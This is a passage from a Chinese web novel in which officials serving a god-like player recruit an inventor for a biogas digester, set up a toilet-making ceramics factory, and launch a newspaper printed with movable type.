“还请赵公子为我说明这何为取舍之意。” 眼看从此人身上看不到什么情绪变化,赵金构不免觉得无趣,而后淡淡道:“一人目前便在风仙县,名为段化,而另一人应当是在潜灵山附近,跟随在酒厂的负责人仇朗身旁,此人名为仇离,这二人对于这方面颇有研究,先前仙师所托付的酒厂蒸馏器便是二人制作而成。 不过,这二人只是来了仙师旗下,但并未明确说过要为仙师效力。” 将大概信息说清楚后,方知意缓缓地扣动指尖,而后沉思。 ——若赵金构所说二人是不可多得的天才,那至少在这方面,对方不会骗自己。 至于未曾向仙师明确表达效力,但此二人亦有软肋在此处,若哪日这二人会对仙师的管治出现干扰,哪怕她拼了命,也要杀了这二人。 眼内闪过一丝漠然,方知意含笑道:“既赵公子所说二人为天才,不若今日便替我引荐其中一位,好赶快研究才是硬道理。” 赵金构倒是没想过方知意决断如此迅速,微楞后自然是答应下来。 等到一行人行进至段化此人所在的院宅时,还不等靠近,便听到其内“砰——”的一声巨响。 而后院内便缓缓升腾出一阵阵的黑烟,几乎片刻,空中便出现了一阵异样的味道。 众人均用袖子捂住口鼻,生怕吸点不明气体进去。 倒是方知意若有所思地看着那黑烟。 等敲开门时,映入眼帘的便是被炸得黢黑的两位少年。 赵金构抽搐着嘴角,而后认出来这两人是谁。 ——正是那段化和仇离,不过这仇离怎地在这里?没跟着他师兄在酒厂? 倒是门内二人有些懵地看向门外的一群人。 最后还是段化开口询问她们一行人来意。 客套一番后,屏退闲杂人等,方知意这才将来意缓缓道来。 那展开的设计图纸,很快便吸引了段仇二人的注意。 等听清那所谓的沼气池的妙用后,一时间,二人均有不同程度的心痒。 尤其是仇离,眼神死死地黏在那几张图纸上,若不是对方还不曾开口让他们二人去看,他早就看了。 段化有几分理智,听明白此物的重要性后,踌躇片刻,而后试探道。 “县令大人,在下恐难以完成委任,这等委托意义重大,在下不过一山野农人,无法接下这般重要的任务,还请大人再寻人选吧。” 赵金构心中微楞,倒是没想过这段化竟然会拒绝。 心中惊讶归惊讶,但该说的场面话还要继续说。 一旁的仇离倒是奇怪地看向段化,——这人变性了? 经过他这段时间的观察,这段化研究奇淫技巧快研究疯了,眼下这般奇异的设计,他竟然毫不心动? 因段化的拒绝,室内氛围降至冰点。 方知意含了笑,表情依旧云淡风轻。 “这沼气池一事若是成功研究出来,想必此人定会成为名留青史的奇才,无论是从名利,亦或是为万民造福的方向来看,这事均是一件好事,只是为何段公子要拒绝? 别担心,本官只是好奇询问,并非有压迫之意。” 方知意在说这话的时,整个人神态放松,就连赵金构也看不透此人真实意图。 ——这方大人到底是生气了?还是觉得无所谓,纯好奇? 段化作揖后缓缓回复:“无甚大原因,只是难为家中父母之意,还请大人见谅。” 既对方已如此拒绝,方知意也不会纠缠,点头后便算放了他。 而后,她便将目光锁定一旁的另一少年,仇离。 注意到这年轻至极的县令正看向自己时,不等她开口,仇离便伸出手,直指那设计图。 “大人,这便是在下的答案。” 不等方知意开口,仇离便将那设计图展开,而后看得入迷。 眼看此人沉迷至此,方知意倒也不去打扰他,只是留下两人作为仇离的助手,将注意事项告知这二人后,她带人离开。 赵金构微微扫过垂头不语的段化,而后将仇离和那二人暂时带离。 嘴上倒是笑着道:“仇公子,这任务为机密任务,所以你需要跟着我们前往一处安全的场所才是。” 沉迷于看设计图的仇离压根就没工夫搭理周围发生的事,此时此刻,他脑内完全被这精密至极的设计图死死地吸引住了。 ——天才!能想出此等设计的人绝对是世间难得一遇的天才! 看完所有设计图后,仇离忍不住闭眼,细细描绘其中各个关键节点。 而后忍不住面露思索。 这图纸的确是精妙无比,但其中不少材料他听都不曾听过,如此看来,这等设计图只能是出自那位仙师之手了。 第100章 艺术品 所以说,仙人果然是仙人,除却精通仙法,竟连这方面也是如此擅长? 原先没打算见见这位仙师的仇离,此时此刻不免生出了几分冲动。 不然他找个机会去见见仙师?一是想完成他的夙愿,二是想请教对方一番,无论是道法亦或是匠法。 默默在脑内做了决定后,仇离则是开始思索那替代物到底该唤作什么东西才是。 若按照设计图所示,他需要一种防水,且足够密闭的材料去刷涂沼气池内部,只是这种材料还需要他亲自试试才能知晓。 脑内已经蹦出几个可能性的材料,但若说最为可行的材料,他觉得应当用糯米灰浆为最优选,若不成,则可以试试石灰砂浆。 至于照明的话,可以用黄铜去做沼气灯,取暖做饭的话,则是可以用铸铁打造成锅灶,但那那传递沼气的管道又该拿何物替代? 等等,管道的话,他或许可以用陶瓷,竹筒试试看,若普通的竹筒定会很快便腐朽溃烂,不若试试小斑竹做成管道?这种竹子较为坚硬耐用,若在表面和内部再刷上一层竹具防水层,此方案应当可行。 脑内闪过一条条应对方案,仇离又忍不住思索。 这沼气池运行需要合适的温度,冬天温度不够,势必会影响沼气池,如何才能保暖升温? 思来想去,他想到了两种可解决之法。 一是用枯草麦秆覆盖沼气池上方,形成保温层,二的话,则是采用外部人为加温沼气池,达到升温作用。 但既已建立沼气池,再用木材等物去给它升温反而有些不妥,不若让沼气池自行生产出来的沼气去加温本体,除去加温本体外,亦可以供给整个房屋取暖,做饭。 想通这数个卡点后,仇离顿觉胸口吐出一股憋闷之气,略带激动地不住回想脑内设想。 ——若真能顺利按照他所想造出沼气池,那可算得上是一件足够令人激动的事了 不过,其中最重要的影响因素便是在于仙师给出来的那几张设计图,若有一个大体框架的话,往内部填充便稍微轻松写意,但若是从无到有,便寸步难行。 换位思索的话,仇离自认为自己是绝无可能能想出设计此物的灵感来。 考虑到仙师手中像这般惊为天人的设计或许还有很多,仇离便忍不住蠢蠢欲动。 不过到底还是忍住了那股冲动,——等等他做完这沼气池后,等到那会,想必他在那位仙师心中的分量能稍重几分,到时候见到仙人时,他或许能获取更多自己想要的东西。 想明白其中种种后,仇离喊着方知意给他留下来的几人,让这些人去买他想要的东西。 而他本人,则已经开始进行初步试验了。 虽说招揽段化失败了,但好在她成功招揽了仇离研究沼气池。 虽说仇离此人也颇为天才,但方知意深知必须要加大人手,像仇离这样的人才,只需要动脑解决其中最关键步骤即可,若平常的小事也让对方去做的话,未免效率太低,同时也是对人才的浪费。 一声令下,一时间,数十名手艺人便被送入仇离所在之处。 这些人均是被高薪请过去的,离开家中时,甚至不曾有邻里察觉到。 谈及保密方面,方知意倒是不怕这些人会察觉到沼气池设计,毕竟她巧妙地将这些手艺人分开各自工作,人人只熟悉自己手中的零件,但无法窥得全貌。 保证沼气池一事开展顺利后,风仙县内的扫盲班,学堂推广已然形成了一股趋势。 现在众人可算是看清楚了,目前以至于未来,主管这座城池的人到底是仙师还是大炎朝。 只要想明白这个关键问题,人们便会将对科举的热情全部转化为学堂的热情,至于扫盲班的话,只要脑袋还算是个正常人,便能知晓未来的种种活计,自然和那位仙人有关。 先前传播流言时,方知意自然传递了不少她潜意识的想法。 于是,百姓心头各个生出一个共同想法。 ——先学着呗,现在没有岗位是现在,等随着那位仙人发展势力,想必工作岗位会越来越多,到时候他们便不需要再去学什么扫盲班,而是可以直接无痛应聘岗位了。 原先,这想法只是少部分有,但人群之间无意识交流,流转思想后,被这想法劝服的人瞬间多了许多。 确实有道理啊!他们唯一面对的风险就是到时候没找到工作,左右不过上了个扫盲班,最多也就废了点力气和时间,但若是真如同那话所说,岂不是自己占了大便宜了? 此等思想在风仙县内越流传越广,到后来,已然形成了一种“你不去上扫盲班就是傻子”的风气。 这些暂且不表,方知意倒是意外得知了一事。 仙师欲在风仙县设立一新厂! 这消息还是从白思妙那边传递回来的,为确保报社顺利开张,白思妙特意前去询问仙师,想为自家报社引入一个爆点,以吸引更多注意力。 思来想去,当然是眼下众人都心心念念的招工最为火爆了! 既方向已定,白思妙自然就着这一事询问仙师,而后竟还真被她得到了肯定的答复。 据仙师所说,风仙县要设定一陶瓷厂。 但从名字上看的话,难不成是做一些瓷器的? 白思妙不禁猜测,而后这消息自然也传递到了方知意耳内。 等到方知意知晓此事后,双眼忍不住微眯 真是及时的消息。 而姜定那边对于制作马桶这件事,则是有了点想法。 他可以建造两所制造马桶的厂子,一所在原产地,到时候就近售卖,而另一所则是建立到他先前攻略下来的新地盘,风仙县。 毕竟先前游戏界面已经提醒了他数次“闲置人口过多”,先前是没想好在风仙县整点什么产业,但自那高岭土被发现后,姜定琢磨着不如开个马桶厂好了,到取名的时候,他本想直抒胸臆,写点能够让自己一眼就能看清楚的名字。 但无奈游戏系统弹了好几次提醒,均询问他是否确定要起这么恶俗的名字。??? “什么鬼,马桶厂是很合理很正常的名字啊,到底是哪里被误认为是违禁词了啊?” 吐槽不能的姜定很是不爽地将马桶厂改成了陶瓷厂这样平平无奇的名字。 而后两所平平无奇的陶瓷厂诞生了。 先前他已经吩咐李明月一行人回去休息,而后顺带带过去一批工人,至于风仙县这边的话,姜定还没来得及琢磨告诉谁,就先有一个熟悉的任务人物过来了。 看清楚这人名字后,姜定顿时了悟。 ——哦,原来是那个报社的小姑娘。 既然对方开口问了,他倒是没藏着掖着,将陶瓷厂的建设抖了出去。 对方的脑袋上似乎不住地在弹跳出“”,但眼看一时半会也没跳出来任何东西,姜定试着戳了戳这人,均无反应,只能离开。 毕竟他的事情还很多,没时间和一个没有任何剧情人物的家伙耗着。 对于坐落于风仙县的陶瓷厂,姜定依旧打算采用最朴素的制作方式。 原材料他亲自给传递到工厂,而后那些工人便可以直接应用原材料制作了。 给两座马桶厂找了新的管理人员进行培训后,姜定这才放心暂离视线。 而此刻,被予以重任的便是风仙县内最为德高望重的李老。 原先仙师联络他时,他激动得浑身颤抖,毕竟先前那方家小娘子便是得了仙师的机缘,一跃成为风仙县县令,今日仙师在他脑内出现的那瞬间,李老差点便要呆愣在原地,到底是最后找回了自己的声音,颤抖着询问仙师找他啥事。 本以为至少会被委任到一个较为重要的位置吧,毕竟他先前在风仙县内也算是小有名气。 等听到仙师委托自己牵头建设陶瓷厂时,李老说不激动是假的。 陶瓷厂好啊! 想必是仙师打算经他之手去制作售卖一些独属于仙界的高雅艺术品吧? 想想看后世之人在看到那些传世艺术品时,均会想起自己来,李老便深觉这活计很不错。 忙答应下来此任务,而后李老先琢磨上了 瓷器厂,范围甚广啊,仙师想制作的到底是哪方面的东西? 本想多嘴询问几句,仙师便已将陶瓷厂的注意事项传递了过来。 这些知识在脑内赫然炸开,而后,李老便感觉自己仿若置身于现实中。 不过,他很清楚这并非现实,应当是仙师的某种仙法才是,毕竟他眼前瞬间便出现了十来人,正在自言自语般讲解着什么。 凑进去一看,这些人正按照做瓷器的流程,专注地做着手里的活计。 李老忍不住捋了捋胡须,眼带佩服。 “这便是匠人精神吧,这般仔细,这般精益求精,此精神真是让老夫敬佩不已。 不过也合理,毕竟这些艺术品可是要遗留上千万年的,若是有瑕疵的话,岂不是对仙师的不敬,对艺术品的亵渎啊” 边感慨,李老边用心记着这种种细节。 只是随着时间的流逝,为何越看越觉得这些匠人制作的艺术品略有些形体粗糙? 各个敦厚无比,也不像是艺术品该有的飘逸之态? 李老有些疑惑,但很快说服了自己。 “想来应该是一种庄严肃静之物,也对,毕竟只有这等艺术品,才能体现出仙师的威严,若是率先制作那等轻佻之物,则容易让人不够信服仙师,这些匠人想得还是太周到了” 思来想去,李老很快哄好了自己。 等到他继续往下看,看到最终处时,便听那匠人开口道:“如此一个极具匠人工艺的马桶便诞生了!”《 》 100-110 第101章 报社开业 看着眼前洁白光滑的物什,李老不免疑惑了片刻 等一下,这马桶为何物? 而且,这就算结束了? 总感觉制作出来的东西和他想象中的东西不太一样啊? 没等李老继续琢磨这物到底为何物,那些匠人则是又开始动作了。 李老不免松了口气,——看来是他多虑了,这还没制作完成呢,想必后续会更精细化此物。 抱着这样的心态,李老瞪大眼睛,一丝一毫的细节都不敢错过。 他亲眼看着那匠人淘洗黏土,而后捏制成他略微有些眼熟的模样 等等,这个形状总感觉似曾相识是怎么回事? 李老脑内犹豫,等到思绪沉浸下来时,脑内不免闪过一幅画面 等一下,这物怎么长得那么像当时他们一行人前去那潜灵山参观过的,名为厕所内安装的那物? 记得当时带着他们参观的那人给他们展示了一番此物的用法,只需要按下去一个按钮,便会有水流冲出,将污物冲走。 脑内逐渐模糊的记忆清晰起来。 “此物,便名为马桶,一般的话,有两种形态” 李老原先还淡定的面庞,顿时炸裂开来。 所以说,这陶瓷厂压根不是做什么艺术品,而是做马桶的? 本想着在人生的最后阶段能留下点值得为后世所传颂的好名声,但这绝对不包括制作出恭之物吧! 没想到他一辈子战战兢兢,竟是栽到了这里。 眼看名声不保,李老不免生出了几分犹豫 虽说这马桶的确是不可多得的神奇之物,但他不是很想后世的人一想起马桶就想到自己啊! 抽搐着面庞,李老悲痛地瘫坐在椅子上。 他现在反悔肯定是来不及了,毕竟已经答应了仙师,如此看来,只能偷偷招兵买马,将这陶瓷厂制作任务抓紧便是。 李老咬牙,心想这事他定要瞒得死死的,谁也不告诉才是,省得日后好友拿这来羞辱自己。 虽说心态崩溃,但事实上,李老倒是勤勤恳恳地打算招人过来建造工厂。 期间,方知意还过来和这位李老见了个面,等见面后,招工信息的去向则流入了报社。 而在报社那边,则是出现了一点点小小的问题。 原版的报纸已经设计完毕,需要复刻临摹的报纸也逐渐筹备中,但白思妙却对这等慢吞吞的效率有些不太满意。 虽说她知晓这已经是临摹手抄的极限了,但冥冥中总感觉或许此事还有更好的解法。 先将复刻交代下去,白思妙则是上了潜灵山,回去寻找是否有可解之法。 等到她人来到集闻楼内部,翻开一本本关于印刷之术的书籍,那张清丽的面庞不由震撼失神。 那书籍中所说,在那仙界印刷是使用机器印刷的,每日可印刷的书本数,简直是一串恐怖的数字。 这印刷术要求太过于高超精密,白思妙看了良久,虽说心生向往,但她深知以现在的大炎朝之力,定是做不到的,只能无奈地翻过此等页面,等到继续往后翻,直至快翻阅到结尾时,一印刷术吸引了她的注意。 活字印刷术? 大炎朝现在使用的是雕版印刷术,这印刷术对于内容固定的书籍来说足够省力,但对于她们报社则是有些鸡肋。 毕竟报社的消息包罗万象,每日都和每日的消息不一样,若采用雕版印刷术,定是极大的浪费。 所以她们报社目前暂时采用的是手抄,毕竟暂无解决之道。 但若按照这书本上所写,若能复刻活字印刷术,将每个字分开印刻,相比于先前固定的字体,明显这活字印刷术更为合理,省劲。 白思妙内心掀起一阵风波。 别说这活字印刷术能对她们报社有极大帮助,若这技术推广开来的话,印刷界要大变天了! 意识到可能带来的后果后,白思妙捧着这本书籍,急匆匆下山,前去寻找方知意。 这等大事,她自然是要和本县县令探讨的。 等到听清楚白思妙的设想后,方知意不免沉思。 ——这是大事,一件足以撼动朝野的大事! 若这法子真的可行,以后书籍等价格会下降不少,且印刷效率会更高。 再联想到未来随着仙师的地盘逐渐增加,高效率意味着消息能够快速传播。 眨都不眨眼,方知意挥手便招来一批匠人,分别负责刻制不同的字体。 这些匠人在刻制字体前,方知意早就将这些人引入为官方印刷厂的人员,且和这些人签订了保密协议。 当然了,这些人收到的工钱也比原先合理得多,再加上是为官府做事,匠人们心中自然觉得很是可靠,没怎么犹豫,便签了这等协议。 而等签了协议后,众人这才得知自己所需要做的事为何物。 等听清楚这活字印刷术后,在场众人各个瞪大双眼,而后涨红了面庞,低呼一声。 “竟还能这么做!当初我怎么没想到这一点!” 其实雕版印刷术和活字印刷术就差了一步,但就是这关键性的一步,引发的结果却完全不同。 这些匠人原先各个都是干雕版的一把好手,这活字印刷术的出现,他们自然清楚会带来何等好处。 因工具材料都准备得很完善,众人边干活,边不由琢磨开来。 这仙人是不一样,这才占据风仙县多长时间,竟这么快就能改善一个行业,不可谓不恐怖! 再想想风仙县最近频频有大动作,众人顿觉这些可能都是仙人为未来在铺路 仙人,竟恐怖如斯,看来未来本县颁布任何新法,他们都应该率解读一番,看看是否是仙人的意思,而后紧跟上去,才能确保能吃口肉,喝口汤才是。 不少人则是想到了这段时间闹得沸沸扬扬的扫盲班,学堂一事。 想到先前官兵过来找到自己时,拿的便是扫盲班毕业的那本登记本。 除却看着登记本找人,他还额外出示了毕业证明——一张盖着官府官印的毕业纸,上面写清楚了何人,何时,家在何处。 连带着户籍一起核对,这些信息做不了假。 确定是扫盲班毕业后,他们这才被招收进入官府内,成为官府专用的刻印员。 想到那扫盲班的妙用,众人不免心头振奋。 得亏他们跟风学了扫盲班,不然这等好事如何能轮到自己? 毕竟这可是日600文的工作啊! 作为版刻师,素日好的时候,每日收入大约在200到300文之间,若是技术高超的,最多也就日400文。 但并不是天天有活能做的,休息时,那肯定是没有工钱的。 但他们被官府收下后,日薪最低都为600文,相较于先前,可谓是有了十足的增长,且在官府做活,不用害怕说会出现长期没有活干的现象! 无论怎么看,都是他们赚了! 既自身确实靠着扫盲班得到了一个好的工作,这些人纷纷琢磨着,回家后必须要让自家孩子上那学堂,想必未来学堂才是最为关键的! 等到下工后,经过这些人的口口相传,扫盲班,学堂的热度竟然又是增加了几分。 对于这种现象,方知意早就有所预料。 ——很正常,毕竟百姓很淳朴,只有亲眼看到有所图后,才会自发去学习,这是一件好事。 靠着这群版刻师加班加点地工作,报社可以顺利大批量印刷了! 因不确定首日印刷多少张报纸,白思妙略微保守,大约印了有一千张。 事实上,原先报舍的话,一个县城才堪堪印刷几十张而已,她自认为的保守是相对于从集闻楼内借出来的书籍上所写,那仙界报社,日印刷竟上万,且远远不足。 而报社内其余人在知晓印刷一千张后,各个大眼瞪小眼。 没听错吧?白总编竟然要求印刷这么多张? 有人试图劝劝她,话刚到嘴边,白思妙蹙眉嘀咕。 “是不是印刷得太少了,要不要再增加点?” 来人顾不上劝阻她少印,只能抽搐着嘴角,先阻止了自家总编继续印刷的冲动。 等到一千张报纸全部印刷完毕后,白思妙则是略带紧张地看着眼前排版清晰的报纸。 ——报纸的设计大头是孙姐姐做的,版面清晰,各个区域分配合理。 不过今日是发行报纸的第一天,不知会不会有人购买报纸? 一份报纸的价格为两文钱,其实利润很薄,因报社的宗旨并非靠售卖报纸赚钱,所以白思妙并未提升报纸价格。 很快便到了报社开业的那一日,当天,白思妙请了一队舞狮队过来热场子,报社便这样水灵灵的开业了。 被舞狮队吸引来的一众人,则是围聚在一起,略带好奇地盯着眼前报社互相嘀咕。 “这报社到底为何物?” “你没听见刚才那人的介绍么?说是一张报纸,内含招工信息,官府政策什么的” “有招工信息?这可是真的?” “自然为真,不过这一份报纸价格会不会比较昂贵?” 毕竟这个时代,笔墨纸砚都很昂贵,这报纸想来也不便宜。 等台上那人宣告完报纸内容后,便正式开始了售卖。 众人本都做好了被价格吓一跳的准备,但当听到轻飘飘的两文钱后,众人还是忍不住呆愣在原地。 什么鬼?一份报纸竟然只卖两文钱? 一时间,众人都有些接受不能。 而不等他们怀疑,排在前面的人则已经举着两文钱要购买了! 后面的人忙摇摇头,将这疑惑甩到脑后,忙开口:“别挤我啊!我也要一份!” 人群热闹非凡,而率先买到的人则是迫不及待地打开报纸。 第102章 诡异的版块 等展开报纸后,来人不由地逡巡其中内容,打算寻找那所谓的招工信息在哪。 但一展开报纸,却见这报纸排版精美,各个板块区分异常清晰。 几乎毫不费劲,此人便找到了自己所求的消息。 【风仙县预计在两周后建立陶瓷厂,招工人数】 本县终于要开设新的工厂了?! 这人一激动,握着报纸的手忍不住攥紧了几分,而一旁,也有没抢到的人试图过来看看报纸内容写了啥。 “武兄,这报纸上到底写了何,可否让在下也一观?” 念着是邻里,被称作武兄的男人将报纸展开,让此人去看。 几乎瞬间,不少人忙围着他们二人站定,伸长脖子,直勾勾地去看其内容。 其中有的是没买到的,还有的便是囊中羞涩,亦有不愿意花这两分钱购入报纸的人。 眼下看众人皆围绕在自己身旁,被称作武兄的男人倒是好心将报纸内容告知大伙。 其中有识字的人看着“两周”这两个字发呆。 “两周,是多久?” 这话一出,自有不少人嘲笑道:“老顽固,这可是扫盲班上要求必须学会的东西,一周为7日,两周便是14日!” “话说回来,老顽固,你还是赶快去上扫盲班才是,不然以后报纸你就算买了,也看不懂啊。” 身旁的人说什么的都有,这被人称作老顽固的人看着已上了岁数,但穿着打扮确实如同周围人所说,看着就是一副异常古板守旧的模样。 “老夫我自有打量,你们这些人别管我!” 在周围人的哄笑声中,老头快速离开了。 这只是个小插曲,更多人的注意力还是被即将招工的陶瓷厂吸引了目光。 不知这陶瓷厂规模多大,又会招收多少人进去? 说起这厂子这事,还得是那仙师最先出现的斗坡村得了天大的好处。 原先不过是个破落村,也是运道好,仙人显圣,让这群山野村人先得了好! 那小小的村子,竟有好几个厂,且各个发展得如火如荼,因村子小点,对于工作的竞争也小,据知情人透露,那村子现在就连村口的黄狗都混上工作,简直令人艳羡不已! 再看看他们风仙县,原先那等小村落还要靠着本城鼻息才能勉强生活,现在反而是当老子的不如儿子,被一小村落赶超了去! 心中虽有憋闷,但一想到仙师既已占据风仙县,免不了需要发展本县经济,一众人的脸色又逐渐转好,而后心中不约而同感慨。 ——王县令,死得好啊! 你若不死,我等什么时候才能获得仙师的垂怜? 而报社众人则是彻底疯狂。 他们准备的一千份报纸根本就不够! 白思妙望着那些想买但买不到的人,心中不免滋生出几分懊恼。 她格局小了,这可是由仙师亲自引导的方向,别说一千份,就算是十倍,二十倍,都是完全能售卖完的! 沉思片刻,白思妙决定将下周份的报纸数量提升三倍,作为预期实验。 而此刻看着这番盛况的报社众人更是窘得脸庞通红。 搞什么鬼!本以为是白总编胡来,现在看来胡来的完全是她们啊! 看着不少没购买上报纸的人气呼呼地离去,众人不免冲着自家总编露出敬佩的苦笑。 ——得亏总编坚持住要印刷一千份,不然若按照她们计划的来,想必今日报社开业不满的人数定会增多。 想想看,报社充分勾起了众人的兴趣,但报纸却远远不够大家购买,这不是雷声大雨点小是什么 这报纸的首份自然有孙凝羽,方知意,赵金构等人一份。 发售报纸这日,孙凝羽特意遣了两个下人出去看看报纸售卖的情况。 大约等了有半个时辰,这二人均是嘴角耷拉地回来了 没买到报纸,那便是因为太火爆了吧? 不等这二人说话,孙凝羽摆摆手,示意自己知晓了。 而后,她缓缓地展开自己曾看了千百遍的报纸,只要看着这报纸,她便能想起自己为它熬过的数个夜晚 如此费尽心思,眼下结局倒也不负仙师的期待。 那双纤细的手指抚过其中刻意放大的女子板块,孙凝羽忍不住叹息。 以她之力,她只能做到这份上了,世间对女子要求过于苛刻,而她不过是仙师降临风仙县后的幸存者。 既被仙人庇护过,那她也应当用自己微薄之力,用这荧荧之火照亮对女子而言,那崎岖蜿蜒的漆□□路。 方知意翻看着手中的报纸,在看到其中一板块时,那张没有情绪的面庞却不禁微微动容。 其板块内,详尽说明了女子可出门寻找工作,且工资并不低,甚至优秀的女子工资还要远超男人。 其中有一名为李娘子之人,则是被作为例子谈论。 说起李娘子一事,倒是孙凝羽自发去那豆腐厂内取材,而后亲自和这位李娘子交谈,在得到对方同意后,将具体消息模糊化,将她身上的事迹概括下来,而后写在这报纸上作为宣传用。 不愧是本县数得上号的才女,这故事看下来,不说别人,方知意自己都不免心中荡漾出一股澎湃之意。 这李娘子她自然知晓,便是当日她亲自前去观看的那场县衙审判。 再细想那日小吏的不对劲,方知意不免知晓那日定是仙师的手笔。 再往下看,除却举例子外,孙凝羽还详尽说明了斗坡村对于此等刚和离的妇人的多番照料。 具体说的话,便是有一岗位可让供这些妇人们暂时度过最困难的时候。 方知意看到此处时,不由地楞在原地,而后便是陷入无穷尽的自责。 她大意了。 近日总是为县内多方忙碌,为政策忙碌,为妇人的权利设定新法,但她竟顾不及帮这些妇人做些更为实际的举动。 若在方知意看来,当下保护妇人的最快方法便是先将新政策颁布下来,而后再徐徐图之。 只是初闻那斗坡村竟还有此等岗位后,方知意不免叹息。 若她没猜错的话,这定是仙师安排的。 仙师这等人物,每日定要比她繁忙数千倍,数万倍,但他却能将这样小的事放在心上。 而反观她,不过是管理风仙县,却已颇为耗费心神,竟连仙师这般忙碌的仙人都能注意到的地方,她却不曾想到。 被迫以为是温和心善·条条俱细,实则却毫无所知的姜定表示,妹儿,你想得实在是太多了啊! 无论怎么看,那个形容词形容的真的是他??? 而方知意则是先去询问赵金构,知晓此事并非是她多想后,整个人看着更阴郁了。 赵金构:???怎么回事啊,他不就是说了两句话,他没对方县令干点啥吧?怎么这人突然就呆愣在原地,浑身散发出一股绝望的气息? 虽说心有疑虑,但赵金构却不敢开口打扰方知意。 而方知意此刻则是对自己失望透顶,将自身失责反省了足足二十遍后,她这才离开,而后将下属喊来,将建设妇人应急岗位一事提上日程。 除了将设置岗位这件事作为目前紧要任务,与此同时,方知意打算在下周一就将新的政策颁布下去。 到时候,便不存在用前朝的法杀本朝的官了。 其实这段时间,方知意一直在为仙师编纂本县法律,期间她也多次将完本发给仙师,请这位看完后指导自己。 还记得第一次将律法交给仙师过目时,她浑身僵硬,多种顾虑齐刷刷浮现在心头。 但好在顺利的是,每次仙师都是不声不响地看完,而后点头表示认可。 共交给仙师过目三次,次次仙师都默认了她的所想。 方知意不免胸口激荡,生出一阵剧烈的认同感。 士为知己者死,应该就是这种感觉吧。 而被迫点开三次长得和论文一样的文书的姜定表示:什么叽里咕噜的,太长不看!直接拉到最下面点同意就是! 连续三次,均是如此。 而当他最后一次点击同意时,系统提醒倒是先来了。 【你的紫卡人物忠诚度已到满级。】 【恭喜你收到了第一位紫卡人物百分百的忠诚。】 啊?什么鬼?他不就莫名其妙点了三次同意,怎么就能收获方知意的百分百忠诚啊? 姜定挠了挠头,点开方知意看了一会,没看出什么端倪,只能无奈放弃 算了,他是得过且过派的,只要说结果是好的,他才没心思去琢磨到底是为啥。 至于那政法,在姜定点击同意后,便字字发光。 而后消失不见。 话说回报纸,赵金构也是收到了一份白思妙免费送来的报纸。 在看清楚此报纸后,赵金构倒是不免感慨。 报纸设计得不错,粗略得当,匆匆一扫,他便知晓这是谁的手笔。 不过这报纸的有趣程度还是出乎他意料。 原先以为报纸最多就是发布一些最新消息,最新政策什么的,但看着眼前这份报纸除却这两样板块外,竟还添加了不少更为新奇的东西。 譬如关于农业方面的知识,这一刊报纸上,写的是如何更为合理地栽植地瓜,大豆。 除却农业知识,还有不少健康知识科普。 再翻看一番,赵金构竟然还翻阅到了一块独属于八卦的区域,这话本子的标题写的是《仙界厕所》。 不是这合理吗??? 报纸为什么会有这部分内容啊?这部分内容起了一个什么作用? 赵金构抽搐着眼角,倒是细致地看了一遍,等到看完后,原先的不解只能说暂时淡化了几分 第103章 会见 虽说没有完全从那种震惊的氛围缓解下来,但至少通过这玩意让他知晓了仙师的打算。 ——所以说,仙师是打算推广一番先前他在潜灵山上看到的马桶么? 此八卦区详尽解释了何为马桶,解释清楚这物若推广开来甚是干净卫生且方便。 赵金构看了好几眼后,脑内将本县内即将开业的瓷器厂和马桶逐渐联系起来 所以说,有没有可能他想的就是对的? 将注意力从这上面收回后,赵金构不免想到了别的问题。 他记得原先在潜灵山上参观时,那处铁矿似乎快要见底,这段时间铁矿的需求量太高,不知道山上的铁矿是否还足够用? 想到这点,赵金构便立即决定上山看看,虽说仙师贵为神仙,理应知晓一切,但毕竟日理万机,总有疏忽的时候。 为了后续生产效率,赵金构还是决定上山去看。 而等他上山后,看着原先贫瘠的铁矿此刻规模竟是放大了数倍,整个人不由地僵在原地,而后沉默了。 稍微问了问后,赵金构这才得知,是因为先前专门负责寻找地脉的队伍终于找到了铁矿,而后由仙师将此矿产挪移而来。 赵金构先前并不知晓仙师有挪移乾坤这一手法,初次听闻工人这话后,不太确定地追问道:“怎么个挪移法?” 于是眼前的工头便兴致勃勃地为他讲述。 “我们都见了两次了,都是一大块土地在天上飞着,然后噗呲一下,就和地上的原先有的矿产融合起来,你是没看到过那场面,实在是令人心生敬畏啊!” 赵金构听着男人的描述,脑内也逐渐出现一副画面,但 “另一个矿产是?” 这人这才慢悠悠开口:“盐池啊,你不知道?” 他还真不知道,杨延是来找过他,希望他能找到往外售出的方法,当初他以为那细盐可能是从别的地方弄来的,但没人告诉他是仙师用仙术从别的地方挪过来的? 告别工头后,赵金构觉得自己今日可能世界观又被仙师震得稀碎。 倒是正下山之际,遇到了一队有男有女,打扮狼狈的一行人。 这些人看着就像是风尘仆仆许久,多日不曾梳洗过了。 但令人诧异的是,这些人脸庞上均带着一股明媚的笑容,这笑像是四月的春风,缓缓划过赵金构的心头。 等看清楚这些人背后背着的满满当当的东西后,赵金构倒是猜测到了真相。 莫不是那工头所说的地质小队便是眼前这些人? 再看过去,领头的是个女人,皮肤相较于普通妇人要黑几分,但从她身上绽放出的信心和神采却让人挪不开眼睛。 抱着多打听消息的心思,赵金构果断上前一步,和这群人套近乎。 起初在他套近乎时,李明月自是警惕了几分,但当得知此人也是仙师旗下的产业总管后,气场顿时温和下来 黎州。 经历数日艰难跋涉,杜百总算是带队顺利来到了黎州边界。 这一路她带领着众人专门走小道绕路而行,就是为了避免遇上流寇山贼这些意外,倒是运气不错,一路奔波数日,除了偶遇了两次黑店外,一行人路上顺利得紧,丝毫没遇到什么大危险。 眼看着即将踏入黎州,杜百命令众人先入住洗漱,而后休整一番后再继续前进。 毕竟来到黎州,便是需要人情打点之时。 黎州的鬣狗们可是很敏锐的,若让对方察觉到无利可图的话,她这番努力便要全部付诸东流。 经过一日的休整,马匹和下属全都恢复了精神。 杜百拿着特意购入的金银,而后直奔目的地而去。 她此次要联络的便是原先和杜家商行合作许久的谈天禄。 此人是一名宦官,是侍奉皇帝身侧的贴身太监的干儿子。 对于杜百来说,这已经算是最有用的人脉了。 虽说此人端得是骄奢无度,但念在给他钱他能给办事的份上,杜家商行也就忍了下来。 当屏退无关人等后,谈天禄那张宽厚的面庞总算露出一点感兴趣来。 “杜百?你便是如今杜家商行的负责人?” 杜百作揖,而后恭敬而又顺从道:“谈爷,小子正是那杜家商行如今的总负责人,自家父被流寇所杀后,小子便接手了本家,中间实在是多有波折,如今可算是再次前来黎州拜访谈爷您。” 杜百说话时,那双一直发亮的眼睛暗淡了几分,倒是多了几分独属于商人的谄媚。 倒是谈天禄坐在主位一动不动,笑得颇有几分深意。 